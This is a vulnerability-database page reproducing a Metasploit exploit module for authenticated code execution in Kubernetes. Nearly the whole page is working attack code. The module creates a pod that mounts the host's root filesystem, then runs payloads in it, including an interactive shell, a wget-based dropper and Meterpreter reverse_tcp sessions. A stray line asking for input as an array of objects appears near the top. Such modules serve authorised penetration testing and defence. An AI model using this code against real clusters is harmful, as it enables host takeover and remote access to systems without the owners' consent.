Lucene search
K

📄 Kubernetes Authenticated Code Execution

🗓️ 28 Aug 2025 00:00:00Reported by Spencer McIntyre, alanfosterType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 137 Views

Please provide the input as an array of objects with id and description fields.

Code
# -*- coding: binary -*-
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit
      Rank = ManualRanking
    
      include Msf::Exploit::Retry
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Remote::HTTP::Kubernetes
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Kubernetes authenticated code execution',
            'Description' => %q{
              Execute a payload within a Kubernetes pod.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'alanfoster',
              'Spencer McIntyre'
            ],
            'References' => [
            ],
            'Notes' => {
              'SideEffects' => [
                ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk
                CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created
                IOC_IN_LOGS # a log event is generated if a new pod is created
              ],
              'Reliability' => [ REPEATABLE_SESSION ],
              'Stability' => [ CRASH_SAFE ]
            },
            'DefaultOptions' => {
              'SSL' => true
            },
            'Targets' => [
              [
                'Interactive WebSocket',
                {
                  'Arch' => ARCH_CMD,
                  'Platform' => 'unix',
                  'Type' => :nix_stream,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/interact'
                  },
                  'Payload' => {
                    'Compat' => {
                      'PayloadType' => 'cmd_interact',
                      'ConnectionType' => 'find'
                    }
                  }
                }
              ],
              [
                'Unix Command',
                {
                  'Arch' => ARCH_CMD,
                  'Platform' => 'unix',
                  'Type' => :nix_cmd
                }
              ],
              [
                'Linux Dropper',
                {
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Platform' => 'linux',
                  'Type' => :nix_dropper,
                  'DefaultOptions' => {
                    'CMDSTAGER::FLAVOR' => 'wget',
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Python',
                {
                  'Arch' => [ARCH_PYTHON],
                  'Platform' => 'python',
                  'Type' => :python,
                  'PAYLOAD' => 'python/meterpreter/reverse_tcp'
                }
              ]
            ],
            'DisclosureDate' => '2021-10-01',
            'DefaultTarget' => 0,
            'Platform' => [ 'linux', 'unix' ],
            'SessionTypes' => [ 'meterpreter' ]
          )
        )
    
        register_options(
          [
            Opt::RHOSTS(nil, false),
            Opt::RPORT(nil, false),
            Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),
            OptString.new('TOKEN', [ false, 'The JWT token' ]),
            OptString.new('POD', [ false, 'The pod name to execute in' ]),
            OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),
            OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),
          ]
        )
    
        register_advanced_options(
          [
            OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),
            OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),
          ]
        )
      end
    
      def pod_name
        @pod_name || datastore['POD']
      end
    
      def create_pod
        if datastore['PodImage'].blank?
          image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
          fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
        else
          image_names = [ datastore['PodImage'] ]
        end
    
        ready = false
        image_names.each do |image_name|
          print_status("Using image: #{image_name}")
    
          random_identifiers = Rex::RandomIdentifier::Generator.new({
            first_char_set: Rex::Text::LowerAlpha,
            char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals
          })
          new_pod_definition = {
            apiVersion: 'v1',
            kind: 'Pod',
            metadata: {
              name: random_identifiers[:pod_name],
              labels: {}
            },
            spec: {
              containers: [
                {
                  name: random_identifiers[:container_name],
                  image: image_name,
                  command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],
                  volumeMounts: [
                    {
                      mountPath: '/host_mnt',
                      name: random_identifiers[:volume_name]
                    }
                  ]
                }
              ],
              volumes: [
                {
                  name: random_identifiers[:volume_name],
                  hostPath: {
                    path: '/'
                  }
                }
              ]
            }
          }
          new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]
    
          @pod_name = random_identifiers[:pod_name]
          print_good("Pod created: #{pod_name}")
    
          print_status('Waiting for the pod to be ready...')
          ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do
            pod = @kubernetes_client.get_pod(pod_name, namespace)
            pod_status = pod[:status]
            next if pod_status == 'Failure'
    
            container_statuses = pod_status[:containerStatuses]
            next unless container_statuses
    
            ready = container_statuses.any? { |status| status[:ready] }
            ready
          rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e
            elog(e)
            false
          end
    
          if ready
            report_note(
              type: 'kubernetes.pod',
              host: rhost,
              port: rport,
              data: {
                pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),
                imageName: image_name
              },
              update: :unique_data
            )
    
            break
          end
    
          print_error('The pod failed to start within the expected timeframe')
    
          begin
            @kubernetes_client.delete_pod(@pod_name, namespace)
          rescue StandardError
            print_error('Failed to delete the pod')
          end
        end
    
        fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
      end
    
      def exploit
        if session
          print_status("Routing traffic through session: #{session.sid}")
          configure_via_session
        end
    
        validate_configuration!
    
        @kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })
    
        create_pod if pod_name.blank?
    
        case target['Type']
        when :nix_stream
          # Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
          websocket = @kubernetes_client.exec_pod(
            pod_name,
            datastore['Namespace'],
            datastore['Shell'],
            'stdin' => true,
            'stdout' => true,
            'stderr' => true,
            'tty' => false
          )
    
          print_good('Successfully established the WebSocket')
          channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)
          handler(channel.lsock)
        when :nix_cmd
          execute_command(payload.encoded)
        when :nix_dropper
          execute_cmdstager
        else
          execute_command(payload.encoded)
        end
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        res = e.http_response
        fail_with(Failure::Unreachable, e.message) if res.nil?
        fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
        fail_with(Failure::Unknown, e.message)
      else
        report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
      end
    
      def execute_command(cmd, _opts = {})
        case target['Platform']
        when 'python'
          command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
        else
          command = [datastore['Shell'], '-c', cmd]
        end
    
        result = @kubernetes_client.exec_pod_capture(
          pod_name,
          datastore['Namespace'],
          command,
          'stdin' => false,
          'stdout' => true,
          'stderr' => true,
          'tty' => false
        ) do |stdout, stderr|
          print_line(stdout.strip) unless stdout.blank?
          print_line(stderr.strip) unless stderr.blank?
        end
    
        fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
    
        status = result&.dig(:error, 'status')
        fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2025 00:00Current
7High risk
Vulners AI Score7
137